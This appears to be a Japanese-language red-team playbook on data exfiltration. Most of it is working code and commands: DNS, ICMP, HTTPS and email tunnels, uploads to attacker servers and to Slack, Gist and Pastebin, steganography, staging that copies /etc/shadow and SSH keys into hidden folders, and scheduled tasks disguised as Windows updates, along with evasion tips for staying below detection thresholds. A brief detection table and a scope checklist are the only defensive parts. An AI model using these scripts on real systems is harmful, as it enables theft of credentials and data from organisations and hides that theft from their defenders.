offensive-data-exfiltration

データ窃取 -- 攻撃手法

クイックワークフロー

1. 標的データを棚卸しします。 ファイル、データベース、認証情報を特定します。データ量と分類を評価します。
2. ステージングします。 管理下のディレクトリにコピーします。不要なメタデータを削除し、重複を排除します。
3. 圧縮して分割します。 tar/zip で圧縮し、使用するチャネルに合わせて分割します（DNS はラベルあたり 253 バイト未満、HTTPS は MB 単位のデータを許容します）。
4. 暗号化します。 すべてのチャンクを AES-256-GCM または ChaCha20 で暗号化します。平文のまま窃取しないでください。
5. チャネルを選択します。 DNS（ポート 53 のみ許可）、HTTPS（ウェブ通信が許可）、ICMP（ping が許可）、クラウド（SaaS へのアクセス）。
6. 送信します。 隠密性を重視する場合は少量ずつ送信し、短い機会しかない場合は一気に送信します。通常のトラフィック量に合わせます。
7. 受信を確認します。 受信側で SHA-256 を再計算し、送信元のマニフェストと比較します。
8. 後片付けします。 ステージング領域、一時ファイル、配置したツール、スケジュールされたタスクを安全に削除します。

---

DNS によるデータ窃取

MITRE：T1048.003 -- 代替プロトコルを介したデータ窃取：DNS

dnscat2

# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret

# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret

# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow

# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret

iodine トンネリング

# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc [email protected]:/loot/

dns2tcp

# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf

# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 [email protected]

TXT/CNAME レコードのエンコード

import base64, dns.resolver

def dns_exfil(data, domain, chunk_size=60):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
        try: dns.resolver.resolve(query, "TXT")
        except Exception: pass  # data is in the query itself

DNS による少量ずつの送信

import random, time, base64, dns.resolver

def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), 60)):
        query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
        try: dns.resolver.resolve(query, "A")
        except Exception: pass
        time.sleep(random.uniform(min_delay, max_delay))

PacketWhisper はサーバーを所有していなくても DNS 経由でデータを窃取できます。PCAP から取得したクエリにデータをエンコードします：python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1。

---

HTTPS トンネリング

MITRE：T1041 -- C2 チャネルを介したデータ窃取；T1071.001 -- ウェブプロトコル

stunnel

サーバーはポート 8080 のリスナーを TLS でラップし、ポート 443 で待ち受けます。クライアント：stunnel -c -d 127.0.0.1:9090 -r attacker.com:443 を実行し、その後 cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090 を実行します。

CDN を介したドメインフロンティング

# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
curl -s -H "Host: your-collection.azureedge.net" \
    --data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload

# chisel full tunnel behind CDN
chisel server --port 443 --reverse --auth user:pass  # server side
chisel client --header "Host: your-collection.azureedge.net" \
    https://legitimate-cdn-domain.com R:socks         # client side

正規サービスの悪用

# Slack webhook
curl -X POST -H 'Content-type: application/json' \
    --data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
    https://hooks.slack.com/services/T00/B00/XXX

# GitHub Gist -- private gist per chunk
import requests, base64
def gist_exfil(data, token):
    requests.post("https://api.github.com/gists",
        json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
        headers={"Authorization": f"token {token}"})

# Pastebin API from Windows
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
    api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}

---

ICMP トンネリング

MITRE：T1048.003 -- 非アプリケーション層プロトコル

icmpsh

# Attacker
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py attacker_ip target_ip

標的（Windows）：icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128

ptunnel-ng

ptunnel-ng -r0.0.0.0 -R22                              # server (attacker)
ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22   # client (target)
scp -P 2222 /tmp/staged.tar.enc [email protected]:/loot/

生の ICMP への埋め込み

import struct, socket

def icmp_exfil(data, dest_ip, chunk_size=48):
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    for seq, i in enumerate(range(0, len(data), chunk_size)):
        chunk = data[i:i+chunk_size]
        hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq)
        pkt = hdr + chunk
        s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1]))
        if len(pkt) % 2: s += pkt[-1] << 8
        s = (s >> 16) + (s & 0xFFFF); s += s >> 16
        hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq)
        sock.sendto(hdr + chunk, (dest_ip, 0))
    sock.close()

標準的な ping に合わせるため、ペイロードは 64 バイト未満にします。ペイロードを大きくするとスループットは向上しますが、IDS に検知される可能性が高まります。

---

クラウドストレージのデッドドロップ

MITRE：T1567.002 -- クラウドストレージへのデータ窃取

S3 署名付き URL

import boto3
def s3_upload_url(bucket, key, expiry=3600):
    return boto3.client("s3").generate_presigned_url(
        "put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)

curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."

Azure Blob SAS トークン

$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..."
$sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w `
    -ExpiryTime (Get-Date).AddHours(2) -Context $ctx
Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
    -Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"

GCS 署名付き URL

from google.cloud import storage
import datetime
def gcs_upload_url(bucket_name, blob_name, minutes=60):
    blob = storage.Client().bucket(bucket_name).blob(blob_name)
    return blob.generate_signed_url(version="v4", method="PUT",
        expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")

署名付き URL を使えば、標的側に認証情報は不要です。データを置くたびにバケットを切り替えてください。

---

メールを利用したデータ窃取

MITRE：T1048.002 -- 非対称暗号化された非 C2 プロトコル

SMTP

import smtplib
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders

def smtp_exfil(filepath, server, from_addr, to_addr, password):
    msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report"
    with open(filepath, "rb") as f:
        part = MIMEBase("application", "octet-stream"); part.set_payload(f.read())
    encoders.encode_base64(part)
    part.add_header("Content-Disposition", "attachment; filename=report.xlsx")
    msg.attach(part)
    with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)

Exchange Web Services

from exchangelib import Credentials, Account, FileAttachment, Message
def ews_exfil(filepath, email, password, recipient):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    with open(filepath, "rb") as f:
        att = FileAttachment(name="data.xlsx", content=f.read())
    m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient])
    m.attach(att); m.send()

下書き方式

データを下書きに保存します。メールはネットワークを通過せず、送信済みメールの痕跡も残りません：

from exchangelib import Account, Credentials, Message
def draft_exfil(data_b64, email, password):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)

---

ステガノグラフィー

MITRE：T1001.002 -- データの難読化：ステガノグラフィー

画像

steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f    # JPEG/BMP
steghide extract -sf carrier.jpg -p "Pass" -xf out.enc
zsteg carrier.png                                              # PNG analysis
openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"

from PIL import Image
import struct

def lsb_embed(cover_path, data, output_path):
    img = Image.open(cover_path); pixels = list(img.getdata())
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    if len(bits) > len(pixels) * 3: raise ValueError("Payload too large")
    idx = 0; new_pixels = []
    for px in pixels:
        np = list(px)
        for c in range(min(3, len(np))):
            if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1
        new_pixels.append(tuple(np))
    out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)

音声

import wave, struct

def wav_lsb_embed(cover_wav, data, output_wav):
    with wave.open(cover_wav, "rb") as w:
        params = w.getparams(); frames = bytearray(w.readframes(w.getnframes()))
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit
    with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))

ドキュメントのメタデータ

exiftool -Comment="$(base64 secret.enc)" carrier.jpg          # EXIF embed
cat carrier.jpg secret.enc > output.jpg                        # append after FFD9

from PyPDF2 import PdfReader, PdfWriter
def pdf_metadata_exfil(pdf_path, data_b64, output_path):
    reader = PdfReader(pdf_path); writer = PdfWriter()
    for page in reader.pages: writer.add_page(page)
    chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
    writer.add_metadata({f"/Custom{i:04d}": c for i, c in enumerate(chunks)})
    with open(output_path, "wb") as f: writer.write(f)

---

エンコードと暗号化

Base64 / Hex / Base32 による分割

base64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt      # base64 chunks
xxd -p staged.enc > staged.hex                                 # hex for DNS labels
python3 -c "import base64; print(base64.b32encode(open('staged.enc','rb').read()).decode())"

XOR

def xor_encrypt(data, key):
    kb = key.encode() if isinstance(key, str) else key
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

AES-256-GCM

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib

def aes_encrypt_file(infile, outfile, password):
    salt = get_random_bytes(16)
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
    cipher = AES.new(key, AES.MODE_GCM)
    with open(infile, "rb") as f: pt = f.read()
    ct, tag = cipher.encrypt_and_digest(pt)
    with open(outfile, "wb") as f: f.write(salt + cipher.nonce + tag + ct)

def aes_decrypt_file(infile, outfile, password):
    with open(infile, "rb") as f: d = f.read()
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), d[:16], 100000)
    pt = AES.new(key, AES.MODE_GCM, nonce=d[16:32]).decrypt_and_verify(d[48:], d[32:48])
    with open(outfile, "wb") as f: f.write(pt)

openssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key

---

隠れチャネル

HTTP ヘッダーのエンコード

import base64, urllib.request

def http_header_exfil(data, url, chunk_size=256):
    encoded = base64.b64encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        req = urllib.request.Request(url)
        req.add_header("X-Request-ID", f"{seq:06d}")
        req.add_header("X-Correlation-Token", encoded[i:i+chunk_size])
        try: urllib.request.urlopen(req)
        except Exception: pass

chisel SOCKS トンネル

chisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt
chisel client --header "User-Agent: Mozilla/5.0" https://server:8443 R:9050:socks
curl --socks5 127.0.0.1:9050 -X PUT -T /tmp/staged.enc http://collector/upload

IP ID フィールドのエンコード

from scapy.all import IP, TCP, send
def ip_id_exfil(data, dest_ip, port=80):
    for i, byte in enumerate(data):
        send(IP(dst=dest_ip, id=byte)/TCP(dport=port, sport=12345+i, flags="S"), verbose=False)

タイミングチャネル

import time, socket

def timing_exfil(data, dest_ip, dest_port, bit_time=0.1):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((dest_ip, dest_port))
    for byte in data:
        for i in range(7, -1, -1):
            bit = (byte >> i) & 1
            time.sleep(bit_time * 2 if bit else bit_time)
            sock.send(b"\x00")
    sock.close()

タイミングチャネルのスループットはビット/秒ですが、ほぼ検知されません。鍵やパスワードのみに使用してください。

---

データのステージング

MITRE：T1074.001 -- ローカルデータのステージング；T1029 -- スケジュールされた転送；T1030 -- データ転送サイズの制限

Linux パイプライン

mkdir -p /tmp/.cache/updates
cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null
tar czf /tmp/.cache/updates/pkg.tar.gz -C /tmp/.cache/updates .
openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/.cache/updates/pkg.tar.gz \
    -out /tmp/.cache/updates/pkg.enc -pass pass:EngagementKey
split -b 65536 /tmp/.cache/updates/pkg.enc /tmp/.cache/updates/chunk_
sha256sum /tmp/.cache/updates/chunk_* > /tmp/.cache/updates/manifest.sha256

Windows パイプライン

$s = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V01"
New-Item -ItemType Directory -Force -Path $s | Out-Null
Copy-Item "C:\Users\*\Documents\*.docx","C:\Users\*\.ssh\*" $s -Force 2>$null
Compress-Archive -Path "$s\*" -DestinationPath "$s\update.zip" -Force
# Encrypt with .NET AES, prepend IV to ciphertext, split into 64KB chunks

スケジュールされた転送

# Cron -- one chunk every 30 min during business hours
(crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -File C:\staged\exfil.ps1"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
    -RepetitionInterval (New-TimeSpan -Minutes 30)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

---

検知／防御側の視点

手法	検知シグナル	防御ツール
DNS によるデータ持ち出し	クエリ量が多い、ラベルが長い、エントロピーが高い、異常なレコードタイプ	パッシブ DNS、Zeek dns.log、エントロピーのスコアリング
HTTPS トンネル	TLS 接続が持続する、ビーコン通信、JA3 の不一致、SNI／Host の不一致	TLS インスペクション、JA3 フィンガープリンティング、NetFlow
ICMP トンネル	ペイロードが大きい、ICMP 通信量が多い、標準外のペイロードデータ	IDS ペイロードルール、Zeek conn.log
クラウドのデッドドロップ	内部ホストから不審なクラウドエンドポイントへの PUT	CASB、プロキシログ、クラウド API の監視
メールによるデータ持ち出し	大容量／暗号化された添付ファイル、不審な宛先、下書きの量が多い	DLP ゲートウェイ、Exchange 監査ログ
ステガノグラフィ	エントロピーの異常、マーカー以降に追加データがある、ステガノグラフィのシグネチャ	StegExpose、ファイルカービング
隠れチャネル	異常なヘッダー、不規則なタイミング、標準外のプロトコル	DPI、プロトコルの異常検知、ML トラフィック分析

回避に関する注意事項

• DNS クエリの頻度をベースラインに合わせ、TXT／NULL レコードより A／AAAA レコードを優先します。
• ブラウザーに一致する JA3 フィンガープリントを使用します。curl の TLS シグネチャは特徴的です。
• ICMP ペイロードは 64 バイト未満に抑えます。クラウドバケットをローテーションします。ピーク時間帯に転送します。

---

作戦用チートシート

シナリオ	チャネル	ツール	備考
ポート 53 のみ使用可能	DNS トンネル	iodine, dnscat2	低速です。目立たないよう少量ずつ送信します
DNS は使用可能、インフラはなし	DNS クエリエンコーディング	PacketWhisper	権威 NS は不要です
Web アクセスあり	HTTPS	chisel, curl	最速です。通常のトラフィックに紛れ込ませます
ドメインフィルタリングあり	ドメインフロンティング	curl + CDN	CDN がドメインフロンティングを許可している必要があります
Ping が許可されている	ICMP	ptunnel-ng, icmpsh	帯域幅に制限があります。鍵／認証情報が必要です
クラウドアクセスあり	デッドドロップ	S3/Azure/GCS URLs	クライアントツールは不要です
メールが使用可能	SMTP/EWS/下書き	smtplib, exchangelib	下書きなら送信記録が残りません
コンテンツ検査あり	ステガノグラフィ + HTTPS	steghide + curl	キャリアは通常のものに見える必要があります
監視が厳重	タイミングチャネル	Custom Python	ビット／秒単位です。ほぼ検知不能です
1 MB 未満の単一ファイル	DNS TXT	Custom script	配置するツールはありません
1 GB 超の大規模データセット	HTTPS またはクラウド	chisel, presigned URL	日ごとに分割します

持ち出し前チェックリスト

• RoE に基づき、データ持ち出しがスコープ内であることを確認します
• 外向き通信チャネルを特定し、目立たないディレクトリにステージングします
• 圧縮して暗号化（最低 AES-256）し、チャネルのサイズに合わせて分割します
• SHA-256 マニフェストを生成し、まずカナリアファイルでテストします
• 検知しきい値を下回る速度に設定し、受信と整合性を確認します
• ステージングデータとツールを安全に削除し、報告書用に持ち出しの経路を記録します

---

主な参考資料

• MITRE ATT&CK Exfiltration（TA0010）：https://attack.mitre.org/tactics/TA0010/
• T1048, T1041, T1567, T1029, T1030, T1132, T1001
• dnscat2：https://github.com/iagox86/dnscat2
• iodine：https://github.com/yarrick/iodine
• dns2tcp：https://github.com/alex-sector/dns2tcp
• chisel：https://github.com/jpillora/chisel
• ptunnel-ng：https://github.com/lnslbrty/ptunnel-ng
• icmpsh：https://github.com/bdamele/icmpsh
• steghide：https://steghide.sourceforge.net/
• PacketWhisper：https://github.com/TryCatchHCF/PacketWhisper
• OpenStego：https://www.openstego.com/
• zsteg：https://github.com/zed-0xff/zsteg